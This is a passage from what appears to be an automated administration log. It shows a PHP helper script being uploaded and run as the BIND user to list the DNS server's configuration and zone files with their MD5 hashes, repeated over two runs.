MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:50:16: Establishing a connection
2026-04-23 17:50:16: 

PUT: /tmp/pkp701043

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:50:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp701043; rm /tmp/pkp701043'

2026-04-23 17:50:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:50:19: Establishing a connection
2026-04-23 17:50:19: 

PUT: /tmp/pkp736783

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:50:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp736783; rm /tmp/pkp736783'

2026-04-23 17:50:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
